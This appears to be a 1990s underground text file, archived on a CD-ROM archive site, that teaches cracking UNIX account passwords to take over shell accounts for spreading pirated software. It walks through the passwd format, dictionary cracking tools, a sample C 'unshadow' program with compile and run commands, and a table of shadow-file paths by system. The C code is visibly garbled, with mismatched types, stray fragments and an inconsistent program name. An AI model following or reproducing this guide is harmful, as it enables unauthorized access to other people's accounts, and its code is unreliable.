home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Hacks & Cracks
/
Hacks_and_Cracks.iso
/
hackersclub
/
km
/
library
/
hack
/
unixpw.txt
< prev
next >
Wrap
Text File
|
1998-03-25
|
17KB
|
220 lines
+----------------------------------------------------------------------------+
ª Author(s): ª Krypto ª
+---------------+------------------------------------------------------------ª
ª Subject: ª Cracking that "Passwd" File ª
+----------------------------------------------------------------------------+
______________________________________________________________________________
______________________________________________________________________________
+----------------------------------------------------------------------------+
ª R E A L I T Y C H E C K N E T W O R K! ª
+----------------------------------------------------------------------------ª
ª____________________________________________________________________________ª
ª____________________________________________________________________________ª
+----------------------------------------------------------------------------ª
ª ª
ª I'm not an amazing "3l33t3" hacker, but I have picked up some things ª
ª over the course of my scene life. ª
ª ª
ª At times, many of us are without Internet shell account, therefore ª
ª inhibiting our ablility to spread the warez. Many of us seek to remedy ª
ª this by cracking Internet shell accounts and doing as we please with ª
ª them, mainly spreading. Here, I'll show you the basic process in ª
ª cracking UNIX accounts so that you can better your efforts in spreading ª
ª them warez. ª
ª ª
ª Most Internet shells are UNIX based and therefore store the password ª
ª to all the users in a file called the "passwd" file. This is usually ª
ª located at /etc/passwd. The basic structure of the passwd file contains ª
ª lines looking like this: ª
ª ª
ª bgates:VKa0XuF8KB4sc:5604:12:William Gates:/home/bgates:/bin/bash ª
ª ª
ª Essentially, the line is broken down into these parts: ª
ª ª
ª Username: bgates ª
ª Encrypted Password: VKa0XuF8KB4sc ª
ª User number: 5604 ª
ª Group Number: 12 ª
ª Real Name (usually): William Gates ª
ª Home Directory: /home/bgates ª
ª Type of Shell: /bin/bash ª
ª ª
ª Your main concern is to crack each encrypted password for every ª
ª user. Because the encryption function is only unidirectional, you ª
ª cannot decrypt the encrypted password. You must run a cracking program ª
ª which encrypts words then compares the encrypted word with the password. ª
ª If they match you now have cracked the password. ª
ª ª
ª Because cracking relies on words that are encrypted, you MUST have a ª
ª wordlist. For beginners, a basic wordlist can be found as a dictionary ª
ª file supplied as a part of UNIX. The more the comprehensive the ª
ª wordlist is, the better your chances of successfully cracking passwords. ª
ª Next, you'll need a passwd cracker, which comes under numerous versions ª
ª depending on your operating system. Currently the best are: ª
ª ª
ª Software Operating System ª
ª ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ª
ª CrackerJack v1.4 DOS ª
ª Crack UNIX ª
ª ª
ª Run the "cracking" program and feed your wordlist and passwd file ª
ª into the program. And watch as it "cracks" the passwords. ª
ª ª
ª Sometimes you'll discover that the passwd file is incomplete or ª
ª looks something like this: ª
ª ª
ª bgates:*:5604:12:William Gates:/home/bgates:/bin/bash ª
ª ª
ª The * is called the token and means that the passwd file has been ª
ª shadowed. Password shadowing is a security system where the encrypted ª
ª password field of /etc/passwd is replaced with a special token and the ª
ª encrypted password is stored in a separate file which is not readable by ª
ª normal system users. ª
ª ª
ª In order to defeat this, you'll need to write a C program and ª
ª compile it similar to this: ª
ª ª
ª Cut out the program at the bottom and save as "shadow.c" ª
ª ª
ª Run "gcc shadow.c -o shadow" or "cc shadow.c -o shadow" ª
ª ª
ª Run "./shadowpw >> password" ª
ª ª
ª "password" should be your deshadowed password list. ª
ª ª
ª If you have any problems, or need any help whatsoever... DO NOT ª
ª CONTACT ME! ª
ª ª
+----------------------------------------------------------------------------ª
ª ª
ª Sample Unshadow Program ª
ª ~~~~~~~~~~~~~~~~~~~~~~~ ª
ª ª
ª struct SHADOWPW { /* see getpwent(3) */ ª
ª char *pw_name; ª
ª char *pw_passwd; ª
ª int pw_uid; ª
ª int pw_gid; ª
ª int pw_quota; ª
ª char *pw_comment; ª
ª char *pw_gecos; ª
ª char *pw_dir; ª
ª char *pw_shell; ª
ª }; ª
ª struct passwd *getpwent(), *getpwuid(), *getpwnam(); ª
ª ª
ª #ifdef elxsis? ª
ª ª
ª /* Name of the shadow password file. Contains password and aging info * ª
ª ª
ª #define SHADOWPW "/etc/shadowpw" ª
ª #define SHADOWPW_PAG "/etc/shadowpw.pag" ª
ª #define SHADOWPW_DIR "/etc/shadowpw.dir" ª
ª /* ª
ª * Shadow password file pwd->pw_gecos field contains: ª
ª * ª
ª * <type>,<period>,<last_time>,<old_time>,<old_password> ª
ª * ª
ª * <type> = Type of password criteria to enforce (type int). ª
ª * BSD_CRIT (0), normal BSD. ª
ª * STR_CRIT (1), strong passwords. ª
ª * <period> = Password aging period (type long). ª
ª * 0, no aging. ª
ª * else, number of seconds in aging period. ª
ª * <last_time> = Time (seconds from epoch) of the last password ª
ª * change (type long). ª
ª * 0, never changed.n ª
ª * <old_time> = Time (seconds from epoch) that the current password ª
ª * was made the <old_password> (type long). ª
ª * 0, never changed.ewromsinm ª
ª * <old_password> = Password (encrypted) saved for an aging <period> t ª
ª * prevent reuse during that period (type char [20]). ª
ª * "*******", no <old_password>. ª
ª */ ª
ª ª
ª /* number of tries to change an aged password */ ª
ª ª
ª #define CHANGE_TRIES 3 ª
ª ª
ª /* program to execute to change passwords */ ª
ª ª
ª #define PASSWD_PROG "/bin/passwd" ª
ª ª
ª /* Name of the password aging exempt user names and max number of entir ª
ª ª
ª #define EXEMPTPW "/etc/exemptpw" ª
ª #define MAX_EXEMPT 100 ª
ª ª
ª ª
ª /* Password criteria to enforce */ ª
ª ª
ª #define BSD_CRIT 0 /* Normal BSD password criteria */ ª
ª #define STR_CRIT 1 /* Strong password criteria */ ª
ª #define MAX_CRIT 1 ª
ª #endif elxsi ª
ª #define NULL 0 ª
ª main() ª
ª { ª
ª struct passwd *p; ª
ª int i; ª
ª for (;1;) {; ª
ª p=getpwent(); ª
ª if (p==NULL) return; ª
ª printpw(p); ª
ª } ª
ª } ª
ª ª
ª printpw(a) ª
ª struct SHADOWPW *a; ª
ª { ª
ª printf("%s:%s:%d:%d:%s:%s:%s\n", ª
ª a->pw_name,a->pw_passwd,a->pw_uid,a->pw_gid, ª
ª a->pw_gecos,a->pw_dir,a->pw_shell); ª
ª } ª
ª ª
ª /* SunOS 5.0 /etc/shadow */ ª
ª /* SunOS4.1+c2 /etc/security/passwd.adjunct */ ª
ª ª
+----------------------------------------------------------------------------ª
ª ª
ª The passwd file is located in the following pathes for each system. ª
ª To determine your UNIX system type, enter the following during the UNIX ª
ª prompt: ª
ª ª
ª uname -a ª
ª ª
ª UNIX Paths (Courtesy of 2600) ª
ª ª
ª UNIX Path Token ª
ª ----------------------------------------------------------------- ª
ª AIX 3 /etc/security/passwd ! ª
ª or /tcb/auth/files/<first letter # ª
ª of username>/<username> ª
ª A/UX 3.0s /tcb/files/auth/?/* ª
ª BSD4.3-Reno /etc/master.passwd * ª
ª ConvexOS 10 /etc/shadpw * ª
ª ConvexOS 11 /etc/shadow * ª
ª DG/UX /etc/tcb/aa/user/ * ª
ª EP/IX /etc/shadow x ª
ª HP-UX /.secure/etc/passwd * ª
ª IRIX 5 /etc/shadow x ª
ª Linux 1.1 /etc/shadow * ª
ª OSF/1 /etc/passwd[.dir|.pag] * ª
ª SCO Unix #.2.x /tcb/auth/files/<first letter * ª
ª of username>/<username> ª
ª SunOS4.1+c2 /etc/security/passwd.adjunct ##username ª
ª SunOS 5.0 /etc/shadow ª
ª <optional NIS+ private secure maps/tables/whatever ª
ª System V Release 4.0 /etc/shadow x ª
ª System V Release 4.2 /etc/security/* database ª
ª Ultrix 4 /etc/auth[.dir|.pag] * ª
ª UNICOS /etc/udb * ª
ª ª
ª Well secure systems with shadowed passwords will cause a ª
ª segmentation fault once you've run that sample program. Remember, don't ª
ª come bugging me on IRC if your little hacking escapade doesn't turn out ª
ª like you wanted it to. Well, that's all for now, enjoy your newly ª
ª hacked UNIX accounts and spread them warez. ª
ª ª
+----------------------------------------------------------------------------ª